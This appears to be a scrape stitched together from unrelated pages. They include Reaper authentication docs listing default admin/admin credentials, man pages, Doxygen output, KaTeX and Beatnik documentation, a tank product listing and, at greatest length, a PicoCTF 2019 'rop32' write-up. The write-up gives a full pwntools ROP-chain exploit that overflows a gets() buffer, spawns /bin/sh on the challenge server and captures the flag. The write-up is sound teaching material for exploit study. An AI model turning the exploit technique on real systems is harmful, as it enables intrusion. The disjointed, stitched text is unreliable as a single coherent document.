Maintenance
We're undergoing a bit of scheduled maintenance
Sorry for the inconvenience. We'll be back up and running as fast as possible.
Check our status page for more information.
Sorry for the inconvenience. We'll be back up and running as fast as possible.
Check our status page for more information.


Authentication
Authentication is activated in Reaper by default. It relies on Apache Shiro, which allows to store users and password in files, databases or connect through LDAP and Active Directory out of the box. The default authentication uses the dummy username and password as found in the default shiro.ini.
This default Shiro authentication configuration is referenced via the following block in the Reaper yaml file :
accessControl:
sessionTimeout: PT10M
shiro:
iniConfigs: ["classpath:shiro.ini"]
Default settings
As of Reaper 1.4.0, authentication is enabled by default and credentials are:
- Username: admin
- Password: admin
With clear passwords
Copy the default shiro.ini
file and adapt it overriding the “users” section :
…
[users]
user1 = password1
user2 = password2
…
If you use a container, make sure you set the environment variable REAPER_SHIRO_INI
to a valid path inside the container otherwise your custom shiro.ini will not be used.
With encrypted passwords
Based on Shiro’s document on Encrypting passwords :
[main]
authc = org.apache.shiro.web.filter.authc.PassThruAuthenticationFilter
authc.loginUrl = /webui/login.html
sha256Matcher = org.apache.shiro.authc.credential.Sha256CredentialsMatcher
iniRealm.credentialsMatcher = $sha256Matcher
filterChainResolver.globalFilters = null
[users]
john = 807A09440428C0A8AEF58BD3ECE32938B0D76E638119E47619756F5C2C20FF3A
…
To generate a password, you case use for example :
- From the command line :
echo -n "Hello World" | shasum -a 256
echo -n "Hello World" | sha256sum
- Or some language of your choice (like Python here) :
import hashlib
hash_object = hashlib.sha256(b'Hello World')
hex_dig = hash_object.hexdigest()
print(hex_dig)
a591a6d40bf420404a011733cfb7b190d62c65bf0bcda32b57b277d9ad9f146e
With LDAP accounts
Based on Shiro’s LDAP realm usage.
An example configuration for LDAP authentication exists (commented out) in the default shiro.ini :
# Example LDAP realm, see https://shiro.apache.org/static/1.2.4/apidocs/org/apache/shiro/realm/ldap/JndiLdapContextFactory.html
ldapRealm = org.apache.shiro.realm.ldap.JndiLdapRealm
ldapRealm.userDnTemplate = uid={0},ou=users,dc=cassandra-reaper,dc=io
ldapRealm.contextFactory.url = ldap://ldapHost:389
;ldapRealm.contextFactory.authenticationMechanism = DIGEST-MD5
;ldapRealm.contextFactory.systemUsername = cn=Manager, dc=example, dc=com
;ldapRealm.contextFactory.systemPassword = secret
;ldapRealm.contextFactory.environment[java.naming.security.credentials] = ldap_password
Accessing Reaper via the command line spreaper
In order to interact with Reaper through spreaper
when Shiro authentication is activated, you will first need to login as follows:
$ ./spreaper login admin
Password: *****
# Logging in...
You are now authenticated to Reaper.
# JWT saved
The JWT will be saved in ~/.reaper/jwt
and automatically used by Reaper for any other call.
Pre-existing tokens can be passed to spreaper using --jwt <token>
with any call.
Accessing Reaper via the REST API
The RESTful endpoints to Reaper can also be authenticated using JWT (Java Web Token).
A token can be generated from the /jwt
url by passing the Session ID cookie retrieved from the /login
endpoint.
Logging in through /login
is described in the REST Api page.


lounger-isonline(1) -- check if a database is online
lounger isonline <url> [--json]
DESCRIPTION
isonline
prints the result as human readable output. JSON
output is also supported by passing the --json
flag.
lounger isonline <url> [--json]
isonline
prints the result as human readable output. JSON
output is also supported by passing the --json
flag.


#include <graph_dynamic_planner.h>
Classes | |
| struct | Node< S > |
Public Member Functions | |
| virtual | ~GraphDynamicPlanner () |
| Public Member Functions inherited from fastrack::planning::Planner< S, E, D, SD, B, SB > | |
| bool | Initialize (const ros::NodeHandle &n) |
| virtual | ~Planner () |
Protected Member Functions | |
| virtual double | Cost (const Trajectory< S > &traj) const |
| Trajectory< S > | ExtractTrajectory (const Node< S >::ConstPtr &start, const Node< S >::ConstPtr &goal) const |
| GraphDynamicPlanner () | |
| virtual bool | LoadParameters (const ros::NodeHandle &n) |
| template<typename S > | |
| Node< S >::Ptr | Node () |
| template<typename S > | |
| Node< S >::Ptr | Node (const S &state, bool is_viable, double time, double cost_to_come, const Node< S >::Ptr &best_parent, const std::vector< Node< S >::Ptr > &children, const std::vector< Trajectory< S > > &trajs_to_children) |
| Trajectory< S > | Plan (const S &start, const S &goal, double start_time=0.0) const |
| Trajectory< S > | RecursivePlan (SearchableSet< Node< S >, S > &graph, const SearchableSet< Node< S >, S > &goals, double start_time, bool outbound, const ros::Time &initial_call_time) const |
| virtual Trajectory< S > | SubPlan (const S &start, const S &goal, double start_time=0.0) const =0 |
| void | UpdateDescendants (const Node< S >::Ptr &node, const Node< S >::ConstPtr &start) const |
| Protected Member Functions inherited from fastrack::planning::Planner< S, E, D, SD, B, SB > | |
| Planner () | |
| virtual bool | RegisterCallbacks (const ros::NodeHandle &n) |
| bool | ReplanServer (fastrack_srvs::ReplanRequest &req, fastrack_srvs::ReplanResponse &res) |
Protected Attributes | |
| size_t | num_neighbors_ |
| double | search_radius_ |
| Protected Attributes inherited from fastrack::planning::Planner< S, E, D, SD, B, SB > | |
| B | bound_ |
| ros::ServiceClient | bound_srv_ |
| std::string | bound_srv_name_ |
| D | dynamics_ |
| ros::ServiceClient | dynamics_srv_ |
| std::string | dynamics_srv_name_ |
| E | env_ |
| bool | initialized_ |
| double | max_runtime_ |
| std::string | name_ |
| ros::ServiceServer | replan_srv_ |
| std::string | replan_srv_name_ |
| std::vector< double > | state_lower_ |
| std::vector< double > | state_upper_ |
Definition at line 61 of file graph_dynamic_planner.h.
|
inlinevirtual |
Definition at line 63 of file graph_dynamic_planner.h.
|
inlineexplicitprotected |
Definition at line 66 of file graph_dynamic_planner.h.
|
inlineprotectedvirtual |
Definition at line 93 of file graph_dynamic_planner.h.
|
protected |
Definition at line 359 of file graph_dynamic_planner.h.
|
protectedvirtual |
Reimplemented from fastrack::planning::Planner< S, E, D, SD, B, SB >.
Definition at line 395 of file graph_dynamic_planner.h.
|
inlineprotected |
Definition at line 157 of file graph_dynamic_planner.h.
|
inlineprotected |
Definition at line 161 of file graph_dynamic_planner.h.
|
protectedvirtual |
Implements fastrack::planning::Planner< S, E, D, SD, B, SB >.
Definition at line 186 of file graph_dynamic_planner.h.
|
protected |
Definition at line 223 of file graph_dynamic_planner.h.
|
protectedpure virtual |
|
protected |
Definition at line 414 of file graph_dynamic_planner.h.
|
protected |
Definition at line 105 of file graph_dynamic_planner.h.
|
protected |
Definition at line 106 of file graph_dynamic_planner.h.


{% extends "layout.html" %} {% from "macros.html" import render_field, form_tag %} {% block content %}
{% if organisation.confirmed %} Take me to ORCID to change my Client details {% else %} Take me to ORCID to obtain my Client ID and Client Secret {% endif %}


Welcome!
Sweetgum is an open-source cross-platform REST client built in C# using Avalonia. It aims to be a lightweight alternative to popular clients such as Postman and Insomnia.
Github
Find out more information on Github: https://github.com/willowtreeapps/Sweetgum
Discord
Come chat with us and collaborate on Discord! https://discord.gg/5ceSHX6Mk7


PicoCTF 2019 - rop32
Description
Can you exploit the following program to get a flag? You can find the program in /problems/rop32_0_b4142d4df31cb73e170c77dac234a79a on the shell server. Source.
Hint: This is a classic ROP to get a shell
Solution
Let’s start with the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("Can you ROP your way out of this?\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
The vulnerability here is due to the usage of the gets()
function. The manual is pretty clear about its usage:
DESCRIPTION
Never use this function.
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF,
which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).
Let’s switch to the binary now!
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e721465344e7c57465e7bd57ccc1b22d853dc760, not stripped
And try to crash it:
$ python -c "print('A'*200)" | ./vuln
Can you ROP your way out of this?
[1] 661175 done python -c "print('A'*200)" |
661176 segmentation fault (core dumped) ./vuln
But this time, the stack is non-executable:
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
To bypass this, we can use ROP. I usually use ropper https://scoding.de/ropper/ to find my ROP gadgets… You can install it with:
$ pip install --user ropper
The easiest usage is [ /!\ it generates lots of output ]
$ ropper --file vuln
...
20218 gadgets found
Usually, you want to append the --search
option with whatever you are looking for. For example, let’s say we are looking for an int 0x80
:
$ ropper --file vuln --search "int 0x80"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80
[INFO] File: vuln
0x08049563: int 0x80;
0x0806f7a0: int 0x80; ret;
Soooo, our goal is to spawn a shell, ie, somehow invoke this C code:
execve("/bin/sh", NULL, NULL)
To do it in assembly, we need to set the registers:
- EAX = syscall number of SYS_execve = 0xB
- EBX = 1rst argument, “/bin/sh”
- ECX = 2nd arg, 0
- EDX = 3rd arg, also 0
And then call the instruction int 0x80
Let’s go gadget hunting!
Finding Gadgets
Set EAX = 0xB
- we can just push 0xB on the stack
- and use a
pop eax
to move it to eax
Best gadget:
0x080a8e36: pop eax; ret;
Set EBX = pointer on “/bin/sh”
Next, we need to put a pointer to “/bin/sh” in EBX. You can probably guess that we will not find “/bin/sh” lying around in the binary. We need to craft it and put it there! That’s exactly the purpose of a type of primitive called write-what-where:
Basically, we need a primitive called write-what-where, for example, with these 3 gadgets:
0x080a8e36: pop eax; ret;
0x0806ee6b: pop edx; ret;
0x0809d034: mov dword ptr [eax], edx; ret;
- eax is the destination, here the “where”
- edx is the source, here the “what”
- we can fill eax and edx by putting stuff on the stack and then calling the
pop
so that it ends up in the register - then we move the content of edx to the address pointed by eax ==> we can write what we want where we want
And we also need gadgets to set edx to 0 so that we can write a null byte at the end of “/bin/sh”
0x080564d5: mov edx, 0xffffffff; ret;
0x0805e095: inc edx; ret;
We also need to decide where we are going to write “/bin/sh”, looking at the sections of the binary, .data
is usually a good option.
readelf -S vuln | grep " .data "
[20] .data PROGBITS 080da060 091060 000f20 00 WA 0 0 32
Here the .data section has the W flag for writable and is located at address 080da060
And then, we need a gadget to put that address into EBX:
0x080481c9: pop ebx; ret;33
Set ECX = 0
There was no simple pop ecx
in the binary, so I opted for the next best option:
0x0806ee92: pop ecx; pop ebx; ret;
Which is perfectly fine since we need to set EBX anyway…
Set EDX = 0
We already have that gadget from the EBX part:
0x0806ee6b: pop edx; ret;
Call int 0x80
And finally, to invoke a syscall:
0x08049563: int 0x80;
Assembling Everything
Now that we have all of our gadgets, we need to find out where to put the first gadget and chain all the gadgets.
Finding the Offset of the First Gadget
$ gdb vuln
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: vuln
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffc620 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx : 0x61616166 ("faaa"?)
$ecx : 0x080da340 → 0xfbad2288
$edx : 0x080db87c → 0x00000000
$esp : 0xffffc640 → "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0x080da000 → 0x00000000
$edi : 0x080481a8 → <_init+0> push ebx
$eip : 0x61616168 ("haaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffc640│+0x0000: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]" ← $esp
0xffffc644│+0x0004: "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]"
0xffffc648│+0x0008: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
0xffffc64c│+0x000c: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
0xffffc650│+0x0010: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0xffffc654│+0x0014: "naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffc658│+0x0018: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffc65c│+0x001c: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616168
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x61616168 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
gef➤ pattern search haaa
[+] Searching 'haaa'
[+] Found at offset 25 (little-endian search) likely
[+] Found at offset 28 (big-endian search)
So, a string with 28 bytes of padding followed by an address should let us control EIP:
gef➤ r <<< $(python2 -c "print('O'*28+'ABCD')")
[...]
[#0] Id 1, Name: "vuln", stopped 0x44434241 in ?? (), reason: SIGSEGV
Okay, we control EIP now! And we know that our first gadget should be at offset 28.
Chaining Gadgets
Now that we have all our gadgets, we can code a build_payload()
function:
#!/usr/bin/env python
from pwn import *
POP_EDX = 0x0806ee6b
POP_EAX = 0x080a8e36
MOV_DWORD_EDX_TO_EAX = 0x0809d034 # mov dword ptr [eax], edx; ret;
INC_EAX = 0x0807c2fa
XOR_EAX = 0x08056420
INT_80 = 0x0806f7a0 # int 0x80, ret;
DATA_ADDR = 0x080da060
def build_payload():
payload = b"Z" * 28 # padding until we overflow
##### step 1: stash the string /bin//sh in the .data section
## write "/bin"
# put the address of the .data section in eax
payload += pack(POP_EAX)
payload += pack(DATA_ADDR)
# put /bin in edx
payload += pack(POP_EDX)
payload += b"/bin"
# write the content of edx to the address pointed by eax
payload += pack(MOV_DWORD_EDX_TO_EAX)
## write "//sh"
# put the address of the .data section + 4 (so after /bin) in eax
payload += pack(POP_EAX)
payload += pack(DATA_ADDR + 4)
# put //sh in edx
payload += pack(POP_EDX)
payload += b"//sh"
# write the content of edx to the address pointed by eax
payload += pack(MOV_DWORD_EDX_TO_EAX)
## write null byte at the end of /bin//sh
# put the address of the .data section + 8 (so after /bin//sh) in eax
payload += pack(POP_EAX)
payload += pack(DATA_ADDR + 8)
# set edx to 0
payload += pack(0x080564d5) # mov edx, 0xffffffff; ret;
payload += pack(0x0805e095) # inc edx; ret;
# write the content of edx to the address pointed by eax
payload += pack(MOV_DWORD_EDX_TO_EAX)
##### step 2: fill the arguments for sys_execve
# put 11 in eax
payload += pack(POP_EAX)
payload += pack(0xb)
# put the address of .data in ebx, where /bin//sh is
payload += pack(0x0806ee92) # pop ecx; pop ebx; ret;
payload += pack(0x00000000) # put 0 in ecx
payload += pack(DATA_ADDR) # put .data in ebx
payload += pack(POP_EDX) # put 0 in edx
payload += pack(0x00000000)
##### step 3: make a syscall
payload += pack(INT_80)
return payload
And call it with:
payload = build_payload()
p = process("vuln")
s = p.recvline()
print(s)
gdb.attach(p, "c")
p.sendline(payload)
p.interactive()
The whole script can be run with:
$ ./solve.py
The script automatically start and attach gdb for faster debugging, but if you want to skip debugging, just add:
$ ./solve.py NOPTRACE=1
Now, everyone gets a ROP chain correctly on the first try right?
Debugging the ROP chain
Well… I don’t know about everyone, but mine didn’t work… I had this output in gdb:
[#0] Id 1, Name: "vuln", stopped 0x8008e36 in ?? (), reason: SIGSEGV
And you might be thinking that this address look familiar right? Let me help:
POP_EAX = 0x080a8e36
It looks a lot like the address of the pop eax
gadget, except with the 0x0A is missing!  Courtesy of the gets()
function ~~ Remember that part of the man?
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0')
It took me a while to join these two pieces of information, that my newline, ie 0x0A, was replaced by a null byte…
The Quest For A New pop eax
First idea was just to see if I could find another pop eax
that didn’t have a 0x0A in its address!
spoiler: it wasn’t successful…
Let’s see what alternative we can find, excluding the 0x0a from the results this time with the --badbytes
option:
$ ropper --file vuln --search "pop eax" --badbytes "0a" --inst-count 2
0x0807416e: pop eax; call edi;
0x0809e6c2: pop eax; jmp dword ptr [eax];
0x0805c524: pop eax; ret 0xfffe;
None of them will do… I tried the last one but it was no gooed, because I need to pop eax several time and the ret 0xfffe
severely messes up the stack…
Alright, we need an alternative solution, maybe just another gadget? Then I had an idea, if I can find a mov
to the eax
register, maybe I can just use pop
in that other register instead
$ ropper --file vuln --search "mov eax, e?x" --badbytes "0a"
0x08064784: mov eax, edx; ret;
I think we found the perfect gadget to match with our edx gadget:
0x0806ee6b: pop edx; ret;
We can now replace in our Python code:
payload += pack(POP_EAX)
payload += pack(0xb)
by:
payload += pack(POP_EDX)
payload += pack(DATA_ADDR)
payload += pack(MOV_EDX_TO_EAX)
Random Trick to Debug a ROP chain
Throwing a payload += pack(0x12121212)
in the middle of your ROP chain can quickly help you troubleshoot (less next instruction in gdb), just run the pwntools script and it will stop to where your 0x12121212 is, or before if your ROP chain is broken.
Example: here you can use this trick to check that “/bin” was correctly written in .data.
payload += pack(POP_EDX)
payload += pack(DATA_ADDR)
payload += pack(MOV_EDX_TO_EAX)
# put /bin in edx
payload += pack(POP_EDX)
payload += b"/bin"
# write the content of edx to the address pointed by eax
payload += pack(MOV_DWORD_EDX_TO_EAX)
payload += pack(0x12121212)
What About the Flag Though?
#!/usr/bin/env python
from pwn import *
POP_EDX = 0x0806ee6b
MOV_EDX_TO_EAX = 0x08064784 # mov eax, edx; ret;
MOV_DWORD_EDX_TO_EAX = 0x0809d034 # mov dword ptr [eax], edx; ret;
INT_80 = 0x0806f7a0 # int 0x80, ret;
DATA_ADDR = 0x080da060
def build_payload():
payload = b"Z" * 28
##### step 1: stash the string /bin//sh in the .data section
## write "/bin"
# put the address of the .data section in eax
payload += pack(POP_EDX)
payload += pack(DATA_ADDR)
payload += pack(MOV_EDX_TO_EAX)
# put /bin in edx
payload += pack(POP_EDX)
payload += b"/bin"
# write the content of edx to the address pointed by eax
payload += pack(MOV_DWORD_EDX_TO_EAX)
## write "//sh"
# put the address of the .data section + 4 (so after /bin) in eax
payload += pack(POP_EDX)
payload += pack(DATA_ADDR + 4)
payload += pack(MOV_EDX_TO_EAX)
# put //sh in edx
payload += pack(POP_EDX)
payload += b"//sh"
# write the content of edx to the address pointed by eax
payload += pack(MOV_DWORD_EDX_TO_EAX)
## write null byte at the end of /bin//sh
# put the address of the .data section + 8 (so after /bin//sh) in eax
payload += pack(POP_EDX)
payload += pack(DATA_ADDR + 8)
payload += pack(MOV_EDX_TO_EAX)
# set edx to 0
payload += pack(0x080564d5) # mov edx, 0xffffffff; ret;
payload += pack(0x0805e095) # inc edx; ret;
# write the content of edx to the address pointed by eax
payload += pack(MOV_DWORD_EDX_TO_EAX)
##### step 2: fill the arguments for sys_execve
# put 11 in eax
payload += pack(POP_EDX)
payload += pack(0xb)
payload += pack(MOV_EDX_TO_EAX)
# put the address of .data in ebx, where /bin//sh is
payload += pack(0x0806ee92) # pop ecx; pop ebx; ret;
payload += pack(0x00000000) # put 0 in ecx
payload += pack(DATA_ADDR) # put .data in ebx
payload += pack(POP_EDX) # put 0 in edx
payload += pack(0x00000000)
##### step 3: make a syscall
payload += pack(INT_80)
return payload
payload = build_payload()
print(payload)
IS_REMOTE = True
if IS_REMOTE:
s = ssh(host="2019shell1.picoctf.com", user="kylma", ssh_agent=True)
if s.connected():
p = s.process('vuln', cwd="/problems/rop32_0_b4142d4df31cb73e170c77dac234a79a")
else:
p = process("vuln")
s = p.recvline()
print(s)
gdb.attach(p, "c")
p.sendline(payload)
p.interactive()
For some reason, running locally doesn’t exactly work well:
process 67027 is executing new program: /usr/bin/bash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
But it runs fine on the server ¯\_(ツ)_/¯
:
$ ./solve.py NOPTRACE
b'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZk\xee\x06\x08`\xa0\r\x08\x84G\x06\x08k\xee\x06\x08/bin4\xd0\t\x08k\xee\x06\x08d\xa0\r\x08\x84G\x06\x08k\xee\x06\x08//sh4\xd0\t\x08k\xee\x06\x08h\xa0\r\x08\x84G\x06\x08\xd5d\x05\x08\x95\xe0\x05\x084\xd0\t\x08k\xee\x06\x08\x0b\x00\x00\x00\x84G\x06\x08\x92\xee\x06\x08\x00\x00\x00\x00`\xa0\r\x08k\xee\x06\x08\x00\x00\x00\x00\xa0\xf7\x06\x08'
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*]<EMAIL_ADDRESS>Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process b'vuln' on 2019shell1.picoctf.com: pid 44613
b'Can you ROP your way out of this one?\n'
[!] Skipping debug attach since context.noptrace==True
[*] Switching to interactive mode
$ $ ls
flag.txt vuln vuln.c
$ $ cat flag.txt
picoCTF{rOp_t0_b1n_sH_01a585a7}$ $
Flag: picoCTF{rOp_t0_b1n_sH_01a585a7}


This extension modifies the copy/paste behavior in any browser supporting the
Clipboard API
so that, when selecting and copying whole KaTeX-rendered elements, the text
content of the resulting clipboard renders KaTeX elements as their LaTeX source
surrounded by specified delimiters. (The HTML content of the resulting
clipboard remains the selected HTML content, as it normally would.)
The default delimiters are $...$
for inline math and $$...$$
for display
math, but you can easy switch them to e.g. \(...\)
and \[...\]
by
modifying copyDelimiters
in the source code.
This extension isn’t part of KaTeX proper, so the script should be separately
included in the page. It also provides optional custom CSS that
defines KaTeX equations as
user-select: all
so that they get selected all-or-nothing (and thus trigger the good behavior
provided by this extension). Without this CSS, partially selected equations
will just get the usual HTML copy/paste behavior.
<link<EMAIL_ADDRESS>rel="stylesheet" type="text/css">
<script<EMAIL_ADDRESS>integrity="sha384-Ep9Es0VCjVn9dFeaN2uQxgGcGmG+pfZ4eBaHxUpxXDORrrVACZVOpywyzvFRGbmv" crossorigin="anonymous"></script>
See index.html for an example.
(To run this example from a clone of the repository, run yarn start
in the root KaTeX directory, and then visit
http://localhost:7936/contrib/copy-tex/index.html
with your web browser.)
If you want to build your own custom copy handler based on this one,
copy the copy-tex.js
into your codebase and replace the require
statement with require('katex/contrib/copy-tex/katex2tex.js')
.
ECMAScript module is also available:
<script type="module"<EMAIL_ADDRESS>integrity="sha384-+gSYJ3yzY30+a6FGYJXOx9swmWs5oPKEi1AeCsAxsLexABlUXgHXkOkEZCj0Lz8U" crossorigin="anonymous"></script>
This extension has been tested on Chrome, Firefox, Edge, and Safari.
Microsoft Edge
does not seem to support
text and HTML content in a single clipboard. In this browser, this extension
will just put the text content into the clipboard.
Safari copies correctly, but the selection rectangle renders strangely
(too big) when interacting with display math
(because of the user-select: all
CSS).


NITROGEN(1) NITROGEN NITROGEN(1) NAME nitrogen - X11 background previewer and setter SYNOPSIS nitrogen [ OPTIONS ] DIRECTORY? DESCRIPTION In normal working mode, provides an interface which displays all pictures in the given DIRECTORY. From this interface, it is possible to set the X11 root pixmap either temporarily or set and store the picture, drawing mode, and X display for restoration later. If no directory is specified, it uses the stored directories in your "library" (as of 1.5). See the Preferences dialog. When the --restore option is passed, nitrogen sets all backgrounds that it has a configuration for and exits immediatly, for use in an .xinitrc or .xsession file. OPTIONS --no-recurse Do not recurse into subdirectories of DIRECTORY. --restore Restores previously saved pictures to the root displays. --sort=[option] Sorts the background list by the given option. By default, items are sorted as they are found on the filesystem, giving a quasi- newest first sorting order. Valid options are: alpha Alphabetical order. ralpha Reverse alphabetical order. time Modified time, ascending. rtime Modified time, descending. --help A mystery option which saves the iguanas of Sweden. FILES ~/.config/nitrogen/ Holds the configuration for saved backgrounds. BUGS There are probably plenty of them. Report all bugs to Dave Foster<EMAIL_ADDRESS>AUTHORS Dave Foster<EMAIL_ADDRESS>Javeed Shaikh<EMAIL_ADDRESS>AVAILABILITY Homepage - http://projects.l3ib.org/nitrogen/. The git repository is at http://code.l3ib.org/nitrogen.git NITROGEN MARCH 2006 NITROGEN(1)


|
| Contents | |
| Introduction |
It is now possible to customize the prompts that pop up as a result of the user not having the Beatnik Player installed, so that they appear in a language appropriate to the Web content you are sonifying. This applies also to the prompts that appear when the sonified content requires a version of the Beatnik Player higher than the Player that is installed on the user's system, and also the prompt that appears for Netscape Navigator users who have Java disabled.
By default, all Music Object compatibility prompts are displayed in US English. Language modules are optional JavaScript files that can override the default English language.
Using a Music Object language module is easy. Language modules are simply JavaScript files, like the "music-object.js" file, that can be sourced into sonified pages as needed. A language module that is sourced in after the "music-object.js" file will slot into the Music Object API and alter the compatibility prompt boxes that appear so that they are in the language desired for the Web site.
In the following example, the Portuguese language module is being used...
<TITLE>Page Using the Portuguese Language Module</TITLE>

|
IMPORTANT : It is only possible to use one language module in a Web page. If you source in multiple language modules, the last one to be sourced in will override all the previously sourced in language modules. You should use the language module appropriate to the language you are using on your Web pages. The language module you use should be sourced in after the "music-object.js" file, otherwise it will not work correctly.
| What Language Modules are Available ? |
The following Music Object language modules are currently available, with more to follow...
To get any of the above language modules' JavaScript file, simply right-click (click-and-hold for Mac users) on the language module link in the list above. Then, from the menu that pops up, select the 'Save Link As...' or 'Save Target As...' option and save the JavaScript file into an appropriate folder of the local copy of your Web site.
In case you have problems saving the file using the above links, the language module JavaScript files can also be found inside the documentation's "javascript" folder, along with the "music-object.js" file.
If you are fluent in the English language and are also fluent in another language for which there is currently no language module listed above, then you would be helping out the Beatnik cause tremendously if you could offer your translation services and provide us with a language module that can be made available in this documentation and shared with all other Beatnik developers. For more information, see the section Creating Your Own Language Modules.
| Building a Language Module Into a Suite |
If you find yourself regularly using a particular language module in all your sonified Web pages, then you may wish to consider building a Music Object suite to simplify your authoring and to make your life a little easier. For more information, consult the section Making a Custom Music Object Suite
| Creating Your Own Language Modules |
If you are working on a Web site that is in a language not supported by one of the currently available Music Object language modules and you are fluent in both English and the language required for the site, then you can use the U.S. English language module below as a template to make a custom language module for your site. Of course, you would also be helping out many other Beatnik content developers if you shared the new language module with the Beatnik developer community.
| |
/**************************************** Music Object Language Module - U.S. English - Version 1.0.0 written by Chris van Rensburg REQUIRES: - music-object.js (3.2.0 or higher) © Copyright 1996-1999 Beatnik, Inc. All Rights Reserved ***************************************/ function mo_upgradePrompt () { mo_promptUser ( 'Please Upgrade Beatnik', 'This page has been optimized for the features of version ' + Music.requiredMinVersion + ' (or higher) of the Beatnik Player. ' + 'The currently installed version in your browser is ' + Music.playerVersion + '.
If you choose to IGNORE this message, the page will continue ' + 'to load normally, but may not function properly as designed by the author.', 'UPGRADE BEATNIK >>>','mo_installPlayer ()', 'IGNORE','mo_promptClose ()' ); } function mo_installPrompt () { mo_promptUser ( 'Beatnik Enhanced Content !!', 'This page has been optimized for the audio features of the ' + 'Beatnik Player. It appears you do not have ' + 'the Beatnik Player installed.
If you choose to IGNORE this message, ' + 'the page will continue to load normally, except there will be no Beatnik audio.', 'INSTALL BEATNIK >>>','mo_installPlayer ()', 'IGNORE','mo_promptClose ()' ); } function mo_enableJavaPrompt () { mo_promptUser ( 'Please Enable Java', 'This page makes use of the interactive audio features of the ' + 'Beatnik Player. Java is currently not enabled in your browser. ' + 'In order for the page to function correctly with Beatnik, ' + 'you must have Java enabled.
This page will continue to load normally, ' + 'but some interactive audio functionality may be absent.', ' OK ','mo_promptClose ()' ); } Music.upgradePlayerText = 'Upgrade Beatnik'; Music.getPlayerText = 'Get Beatnik'; |
To edit the template, you can either copy-and-paste the source code shown above, or you can obtain the "music-object-l-english-us.js" JavaScript file from the documentation's "javascript" folder.
In the template source code listing above, the text that is highlighted represents the text you will need to replace to create your custom language module. This includes the text that needs to be translated into the desired language, as well as the language module name and author (in the comments section at the top of the module). In some languages the grammatical structure may be sufficiently different that lines may have to be pushed around in the course of doing the translation, but you should try to retain the original formatting (such as bolding and paragraph breaks) as much as possible.
Once you have created your custom language module, you should save it into an appropriate folder of the local copy of your Web site, with a filename of the form "music-object-l-mylanguage.js". An example would be "music-object-l-dutch.js" for a Dutch language module. Once you've saved your custom language module, you should create a test page as follows...
| |
<TITLE>Custom Language Module Test Page</TITLE>

Show the Upgrade Prompt

Show the Install Prompt

Show the Enable Java Prompt

|
To create your test page, follow these simple steps...


You don’t have any features in your registry. Start by creating some.
Your search didn’t match any feature. Reset search to view all.


Coming Soon!
Check out the github for more information here. https://github.com/hack4reno2013/housemind


What's within {{activeHierarchyConcept.concept.title}}? Which Concepts are within {{activeHierarchyConcept.concept.title}}?
Which Lectures cover parts of {{activeConcept.concept.title}}?
Which Lectures cover {{course.short}}?
How do I learn Clear Search ? Use this to search learning concepts and materials.


M4 Sherman
medium tank
Crew:
5
Battle weight:
68,500 lb
Maximum speed:
26 mph
Cross-country speed:
15-20 mph
Climbing power:
60°
about tank
and
model
Prise:
$ 49,997
add to cart


| GTK+ 3 Reference Manual | ||||
|---|---|---|---|---|
| Top | Description | Object Hierarchy | Properties | Signals |
#include <gtk/gtk.h> struct GtkStatusIcon; GtkStatusIcon * gtk_status_icon_new (void
); GtkStatusIcon * gtk_status_icon_new_from_pixbuf (GdkPixbuf *pixbuf
